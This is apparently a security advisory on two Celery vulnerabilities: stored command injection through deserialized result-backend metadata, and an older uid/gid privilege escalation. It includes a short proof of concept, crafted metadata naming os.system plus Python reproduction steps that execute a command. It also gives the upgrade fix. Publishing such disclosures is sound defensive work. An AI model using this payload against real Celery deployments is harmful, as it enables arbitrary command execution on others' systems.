    Stored Command Injection

    Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.

    PoC

    Example of modified metadata as stored in the result stores:

    'status': 'FAILURE',
'result': json.dumps({
  'exc_module': 'os',
  'exc_type': 'system',
  'exc_message': 'id'
  })
}

    Reproduction steps in a Python shell:

    from celery.backends.base import Backend
from celery import Celery
b = Backend(Celery())
exc = {'exc_module':'os',  'exc_type':'system', 'exc_message':'id'}
b.exception_to_python(exc)

    The result would be an output of os.system('id').

    How to fix Stored Command Injection?

    Upgrade celery to version 5.2.2 or higher.

    Privilege Escalation

    celery is a Distributed Task Queue. Celery 2.1 and 2.2 before 2.2.8, 2.3 before 2.3.4, and 2.4 before 2.4.4 changes the effective id but not the real id during processing of the --uid and --gid arguments to celerybeat, celeryd_detach, celeryd-multi, and celeryev, which allows local users to gain privileges via vectors involving crafted code that is executed by the worker process.
